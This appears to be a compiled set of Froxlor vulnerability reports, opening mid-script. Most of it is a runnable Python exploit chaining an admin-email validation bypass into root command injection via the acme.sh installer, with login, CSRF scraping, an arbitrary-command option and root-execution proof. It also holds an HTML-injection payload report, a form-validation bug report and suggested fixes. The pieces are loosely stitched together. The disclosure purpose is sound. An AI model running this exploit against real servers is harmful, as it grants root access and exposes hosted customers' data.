# Check DB to see if value was stored import subprocess result = subprocess.run( [ "docker", "exec", "froxlor-web", "bash", "-c", "mysql -h froxlor-db -u froxlor -pfroxlordbpw --skip-ssl froxlor " "-e \"SELECT value FROM panelsettings WHERE settinggroup='panel' AND varname='adminmail'\" -N 2>/dev/null" ], captureoutput=True, text=True ) storedvalue = result.stdout.strip()
if payload in storedvalue or storedvalue == payload: print(f" [VULN] CONFIRMED! Stored value: {storedvalue}") else: print(f" [INFO] Stored value: {storedvalue}") print(f" [INFO] May need different form field names or approach")
# Restore original value print("\n[] Restoring original admin email...") resp = session.get(f"{TARGET}/adminsettings.php?page=overview&part=all") csrfmatch = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) if csrfmatch: csrftoken = csrfmatch.group(1) settingsdata = { "paneladminmail": "admin@test.local", "csrftoken": csrftoken, "send": "send", "page": "overview", "part": "all", } session.post(f"{TARGET}/adminsettings.php?page=overview&part=all", data=settingsdata, allowredirects=True) print("[+] Done.")
if name == "main": main()
Environment - Froxlor 2.3.3, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4) - Default configuration, no modifications
Step 1: Confirm validation bypass
php <?php // Standalone reproduction — no Froxlor installation needed. // Reproduces the exact logic from Data.php lines 113-169.
function validateEmailbuggy($value) { $fielddata = []; @($fielddata['stringtype'] == 'mail'); // BUG: line 169 // stringtype never set → FILTERVALIDATEEMAIL skipped → fallback regex return pregmatch('/^[^\r\n\t\f\0]$/D', $value) ? 'PASS' : 'REJECT'; }
function validateEmailfixed($value) { $fielddata = []; $fielddata['stringtype'] = 'mail'; // FIX return filtervar($value, FILTERVALIDATEEMAIL) ? 'PASS' : 'REJECT'; }
$tests = ['admin@example.com', 'not-an-email', 'x@x.com | touch /tmp/pwned']; foreach ($tests as $t) { echo sprintf("%-40s buggy=%-6s fixed=%s\n", $t, validateEmailbuggy($t), validateEmailfixed($t)); }
vuln 2 PoC: #!/usr/bin/env python3 """ VULN-2: Froxlor v2.3.3 Root RCE via acme.sh Command Injection =============================================================== CWE-78: OS Command Injection | CVSS 9.1
Chain: VULN-1 (email validation bypass) → VULN-2 (acme.sh pipe injection)
Attack Flow: 1. Admin sets panel.adminmail = "x@x.com | COMMAND" (bypasses email validation) 2. When Let's Encrypt is enabled and acme.sh is not installed 3. AcmeSh.php:428 executes: wget ... | sh -s email=x@x.com | COMMAND 4. Pipe character passes safeexec() because it's in allowedChars=['|'] 5. COMMAND runs as root (cron context)
Usage: # Full exploitation (requires target access) python3 vuln2acmeshrce.py --target https://froxlor.example.com \ --user admin --password secret --command "id > /tmp/rceproof"
# Offline demonstration python3 vuln2acmeshrce.py --demo """
import argparse import re import sys
try: import requests except ImportError: print("[!] pip install requests") sys.exit(1)
BANNER = """ ╔═══════════════════════════════════════════════════════════════╗ ║ Froxlor v2.3.3 — Root RCE via acme.sh Command Injection ║ ║ VULN-1 + VULN-2 Chain | CWE-78 | CVSS 9.1 ║ ╚═══════════════════════════════════════════════════════════════╝ """
class FroxlorRCE: def init(self, target, verifyssl=False): self.target = target.rstrip("/") self.session = requests.Session() self.session.verify = verifyssl
def login(self, username, password): print(f"[] Logging in as '{username}'...") resp = self.session.post( f"{self.target}/index.php", data={"loginname": username, "password": password, "send": "send"}, allowredirects=False, ) if resp.statuscode == 302 and "adminindex" in resp.headers.get("Location", ""): self.session.get(f"{self.target}/adminindex.php") print("[+] Login successful!") return True print("[-] Login failed") return False
def getcsrf(self, url): resp = self.session.get(url) match = re.search(r'name="csrftoken"\s+value="([^"]+)"', resp.text) return match.group(1) if match else ""
def injectemail(self, payload): """Inject malicious value into panel.adminmail (VULN-1).""" print(f"[] Injecting into panel.adminmail: {payload}") csrf = self.getcsrf(f"{self.target}/adminsettings.php?page=overview&part=panel") resp = self.session.post( f"{self.target}/adminsettings.php?page=overview&part=panel", data={ "csrftoken": csrf, "send": "send", "page": "overview", "paneladminmail": payload, }, allowredirects=True, ) print(f"[+] Settings updated (HTTP {resp.statuscode})") return resp.statuscode == 200
def triggeracmeshinstall(self): """ Trigger acme.sh installation by enabling Let's Encrypt and ensuring acme.sh path is invalid. """ print("[] Triggering acme.sh installation path...") print("[] In production, this happens automatically when:") print(" - Let's Encrypt is enabled (system.lefroxlorenabled=1)") print(" - acme.sh binary is not found at configured path") print(" - Cron job runs (every 5 minutes)") print() print("[] To manually trigger:") print(" docker exec froxlor-web php /var/www/html/froxlor/bin/froxlor-cli froxlor:cron --force")
def exploit(self, command): """Full exploitation: inject → trigger → RCE.""" payload = f"x@x.com | {command}" self.injectemail(payload)
print() print("[] Command chain that will execute as root:") print(f" wget -O - https://get.acme.sh | sh -s email={payload}") print() print("[] This decomposes to:") print(f" 1. wget -O - https://get.acme.sh") print(f" 2. | sh -s email=x@x.com") print(f" 3. | {command}") print()
self.triggeracmeshinstall()
def restore(self, original="admin@test.local"): """Restore original admin email.""" print(f"\n[] Restoring original email: {original}") csrf = self.getcsrf(f"{self.target}/adminsettings.php?page=overview&part=panel") self.session.post( f"{self.target}/adminsettings.php?page=overview&part=panel", data={ "csrftoken": csrf, "send": "send", "page": "overview", "paneladminmail": original, }, ) print("[+] Restored")
def demo(): """Offline demonstration of the vulnerability mechanics.""" print("[] Demonstrating VULN-2 mechanics (offline)...\n")
adminmail = "x@x.com | touch /tmp/ROOTRCEPROOF" fullcmd = f"wget -O - https://get.acme.sh | sh -s email={adminmail}"
print(f" admin email: {adminmail}") print(f" full command: {fullcmd}") print()
# Simulate safeexec filter disallowed = [';', '|', '&', '>', '<', '', '$', '~', '?'] allowedchars = ['|']
print(" safeexec() filter check:") blocked = False for char in disallowed: if char in fullcmd: if char in allowedchars: print(f" '{char}' → ALLOWED (in allowedChars)") else: print(f" '{char}' → BLOCKED") blocked = True
print() if not blocked: print(" RESULT: Command passes safeexec() filter!") print(" The pipe character chains our command after the wget/sh pipeline") print() print(" Execution breakdown:") print(" Process 1: wget downloads acme.sh installer") print(" Process 2: sh runs installer with email parameter") print(" Process 3: touch /tmp/ROOTRCEPROOF ← OUR COMMAND (as root)") else: # In practice the payload above should only have | which is allowed print(" NOTE: Some characters blocked. Adjust payload to use only pipe.")
print() print(" NOTE: The cron job runs as root, so the injected command") print(" executes with root privileges on the host system.")
def main(): print(BANNER)
parser = argparse.ArgumentParser(description="Froxlor v2.3.3 Root RCE PoC") parser.addargument("--target", "-t", help="Froxlor URL") parser.addargument("--user", "-u", help="Admin username") parser.addargument("--password", "-p", help="Admin password") parser.addargument("--command", "-c", default="touch /tmp/ROOTRCEPROOF", help="Command to execute as root") parser.addargument("--restore", action="storetrue", help="Restore original email after exploit") parser.addargument("--demo", action="storetrue", help="Run offline demonstration") args = parser.parseargs()
if args.demo: demo() return
if not all([args.target, args.user, args.password]): print("[!] --target, --user, and --password required (or use --demo)") sys.exit(1)
exploit = FroxlorRCE(args.target) if not exploit.login(args.user, args.password): sys.exit(1)
exploit.exploit(args.command)
if args.restore: exploit.restore()
if name == "main": main()
Output: admin@example.com buggy=PASS fixed=PASS not-an-email buggy=PASS fixed=REJECT x@x.com | touch /tmp/pwned buggy=PASS fixed=REJECT
Step 2: Confirm value stored in database
POST /adminsettings.php?page=overview&part=panel HTTP/1.1 Cookie: [authenticated admin session]
csrftoken=...&send=send&page=overview&paneladminmail=x@x.com+|+touch+/tmp/VULN2RCEPROOF
sql mysql> SELECT value FROM panelsettings WHERE settinggroup='panel' AND varname='adminmail'; +-------------------------------------------+ | value | +-------------------------------------------+ | x@x.com | touch /tmp/VULN2RCEPROOF | +-------------------------------------------+
Step 3: Confirm root code execution
Simulating AcmeSh.php line 428 inside the Docker container:
php <?php // Exact simulation of the vulnerable code path $adminmail = "x@x.com | touch /tmp/VULN2RCEPROOF"; $cmd = "echo DOWNLOADSIM | cat -s email=" . $adminmail;
// safeexec filter with pipe allowed (matches AcmeSh.php:428) $disallowed = [';', '|', '&', '>', '<', '', '$', '~', '?']; $allowedChars = ['|']; foreach ($disallowed as $dc) { if (inarray($dc, $allowedChars)) continue; if (stristr($cmd, $dc)) die("BLOCKED by: $dc"); }
exec($cmd); // pipe passes filter → command executes echo fileexists("/tmp/VULN2RCEPROOF") ? "RCE CONFIRMED" : "NOT CREATED";
Result: RCE CONFIRMED
$ ls -la /tmp/VULN2RCEPROOF -rw-r--r-- 1 root root 0 Feb 11 05:58 /tmp/VULN2RCEPROOF
File created with root:root ownership. Arbitrary command execution as root is confirmed.
---
Impact
- Confidentiality: Complete. Root access exposes all customer data, databases, SSL private keys, email contents. - Integrity: Complete. Attacker can modify any file, inject backdoors, alter DNS records. - Availability: Complete. Attacker can destroy the server, wipe databases, or deploy ransomware. - Scope: Changed. The attack originates in the web application but impacts the underlying operating system.
---
Suggested Fix
Primary fix (Bug 1 — eliminates the root cause): php // lib/Froxlor/Validate/Form/Data.php // Line 169: $fielddata['stringtype'] = 'mail'; // was: == 'mail' // Line 175: $fielddata['stringtype'] = 'url'; // was: == 'url'
Defense-in-depth (Bug 2 — even if validation is fixed): php // lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php, Line 428: FileDir::safeexec( "wget -O - https://get.acme.sh | sh -s email=" . escapeshellarg(Settings::Get('panel.adminmail')), $return, ['|'] );
Defense-in-depth (ConfigServices.php): php // All values in getReplacerArray() should be escaped with // escapeshellarg() when the template action type is "install" or "command"
Froxlor Server Management Panel 0.10.16 contains a persistent cross-site scripting vulnerability in customer registration input fields. Attackers can inject malicious scripts through username, name, and firstname parameters to execute code when administrators view customer traffic modules.
Summary An HTML Injection vulnerability in the customer account portal allows an attacker to inject malicious HTML payloads in the email section. This can lead to phishing attacks, credential theft, and reputational damage by redirecting users to malicious external websites. The vulnerability has a medium severity, as it can be exploited through user input without authentication.
Observation It is observed that in the portal of the customer account, there is a functionality in the email section to create an email address that accepts user input. By intercepting the request and modifying the "domain" field with an HTML injection payload containing an anchor tag, the injected payload is reflected on an error page. When clicked, it redirects users to an external website, confirming the presence of an HTML Injection vulnerability.
PoC 1. Navigate to the Email section in the Customer Account Portal and create a new email address.
2. Enter any garbage value in the required field and intercept the request using Burp Suite.
3. Locate the "domain" field in the intercepted request and replace its value with the following HTML Injection payload:
<a href="https://www.google.com">CLiCK</a>
4. Forward the modified request and observe that the injected payload is reflected on an error page.
5. Click on the displayed "CLiCK" link to verify that it redirects to https://www.google.com, confirming the presence of HTML Injection.))
Impact An attacker can exploit this HTML Injection vulnerability to manipulate the portal’s content, conduct phishing attacks, deface the application, or trick users into clicking malicious links. This can lead to credential theft, malware distribution, reputational damage, and potential compliance violations. The users of the customer account portal are impacted by this vulnerability. Specifically, any user who interacts with the email section of the portal may be tricked into clicking malicious links, leading to potential phishing attacks, credential theft, and exposure to other malicious activities. The organization hosting the portal could also be impacted by reputational damage and compliance violations.
Recommendation It is recommended to implement proper input validation and output encoding to prevent HTML Injection. The application should sanitize user input by stripping or escaping HTML tags before rendering it on the page.
Dear Sirs and Madams,
I would like to report a business logic error vulnerability that I discovered during my recent penetration test on Froxlor.
Specifically, I identified an issue where it was possible to submit the registration form with the essential fields, such as the username and password, left intentionally blank. This inadvertent omission allowed for a bypass of the mandatory field requirements established by the system.
The surname, family name AND company name all of them can be left blank.
I believe addressing this vulnerability is crucial to ensure the security and integrity of the Froxlor platform.
Thank you for your attention to this matter.
This action served as a means to bypass the mandatory field requirements.
Lets see (please have a look at the Video -> attachment).
----------------
as you can see i was able to let the username and second name blank.
https://user-images.githubusercontent.com/80028768/289675319-81ae8ebe-1308-4ee3-bedb-43cdc40da474.mp4
Lets see again.
Only the company name is set.
Thank you for your time
!Froxlor 2 !Froxlor 1
Improper Authorization in GitHub repository froxlor/froxlor prior to 2.0.0-beta1.
Cross-Site Request Forgery (CSRF) in GitHub repository froxlor/froxlor prior to 2.0.0-beta1.
Argument Injection in GitHub repository froxlor/froxlor prior to 2.0.0-beta1.
Command Injection in GitHub repository froxlor/froxlor prior to 2.0.8.
Path Traversal: '\..\filename' in GitHub repository froxlor/froxlor prior to 2.0.0.
Weak Password Requirements in GitHub repository froxlor/froxlor prior to 2.0.10.
Business Logic Errors in GitHub repository froxlor/froxlor prior to 2.0.10.